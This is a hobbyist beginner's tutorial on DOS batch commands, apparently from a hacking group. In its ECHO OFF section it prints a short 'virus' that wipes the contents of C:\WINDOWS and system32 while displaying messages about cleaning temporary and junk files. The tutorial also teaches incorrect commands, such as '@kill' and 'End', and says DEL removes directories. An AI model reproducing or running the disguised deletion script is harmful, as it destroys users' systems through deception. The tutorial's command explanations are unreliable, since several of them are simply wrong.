| A Beginner's Guide To DOS Batch , By : Commandox2
-------------------------------------------------------------------------------------------------------------------------------------------------------------- Ok first off i'm not too good at spelling so bare with me if you can't read it just make up a word and put it there... Also this tutorial is nothing compared to what you can do with DOS Batch but it will get you started on your way -------------------------------------------------------------------------------------------------------------------------------------------------------------- In this guide you will learn 1. CD 2. ECHO 3. DEL 4. DELTREE 5. ECHO OFF 6. PAUSE 7. END -------------------------------------------------------------------------------------------------------------------------------------------------------------- 1. CD CD is the most commonly used DOS Batch commands around it stands for Change Directory(CD). Example say you wanted to change to the main drive C:\ you would type cd\ That would change your directory to C:\ if the .bat file is on the C:\ drive... Say after you do that you wanted to change to the directory windows so you would type cd\ cd WINDOWS OR cd C:\WINDOWS Just type cd then the directory you want it to change to thats it for the command CD -------------------------------------------------------------------------------------------------------------------------------------------------------------- 2. ECHO ECHO is a commonly used DOS Barch command. It prints out whatever text you tell it to on the screen Example you would use it to tell a user what is going on example. cd\ echo Changing to main drive cd WINDOWS echo Changing to WINDOWS directory Thats it for the echo command. -------------------------------------------------------------------------------------------------------------------------------------------------------------- 3. DEL DEL is another common command say you wanted to delete a directory with something in it or a certain file, To delete a lets say C:\TEMP and all the files in it we would type cd C:\TEMP del *.* Lets say you wanted to delete a certain file or files only in C:\TEMP you would type cd C:\TEMP del File1.exe del File2.jpg del File3.bmp end Thats it for the DEL Command -------------------------------------------------------------------------------------------------------------------------------------------------------------- 4. DELTREE DELTREE is a pretty common command it is used to delete a whole directory and all of its contents. Here is an example of how to use DELTREE : deltree C:\oldstuff It will prompt you and then you proceed and it deletes that directory , but you can make it not have to confirm by simply adding one thing /y confirms it so an example would be : deltree /y C:\oldstuff Thats it for the DELTREE command -------------------------------------------------------------------------------------------------------------------------------------------------------------- 5. ECHO OFF ECHO OFF is used for keeping it hidden what the .BAT file is doing. While it may sound like it turns off the command echo it just turns off what it echos about what it is doing you can still use the command ECHO example. This is the code to a small virus just as an example of the ECHO OFF command do not use code it may cause damage. Incase of accidental execution i added a pause command also to make sure no-one uses it as a destructive virus. You may not use this code in any way you may ONLY use this for educational reasons. Any abuse of the following is not in any way the author of this tutorial's fault or any member of Xlusion security's fault. By looking at the following you take complete and total/full respondsiblity and agree with the above conditions. @ECHO OFF pause echo Cleaning Temporary Files cd\ cd windows del *.* echo Temporary Files Cleaned echo Cleaning Junk Files cd system32 del *.* End Thats it for the ECHO OFF command -------------------------------------------------------------------------------------------------------------------------------------------------------------- 6. Pause Pause is another crucial command for programming in DOS batch. It gives the user a chance to cancel what you print on the screen example echo Delete coolpic.jpg? pause @kill coolpic.jpg End That would ask them if they wanted the file coolpic.jpg deleted and then they would have to press a button to continue or close it to exit. Thats it for the PAUSE command -------------------------------------------------------------------------------------------------------------------------------------------------------------- 7. End End is the most important DOS batch command ever. It does adzactly what it sounds like it does closes the program! So if your .BAT file doesn't do much and you have no pauses and have it end then your .BAT file might not even be seen by the user unless he was paying close attention example. @ECHO OFF cd\ cd TEMP @kill file.jpg end Thats it for the END command -------------------------------------------------------------------------------------------------------------------------------------------------------------- Well that's all for this tutorial on DOS BATCH files because this is a beginners guide i didn't go into any other complicated commands because this is only a beginner's tutorial and is here to get you started. -------------------------------------------------------------------------------------------------------------------------------------------------------------- |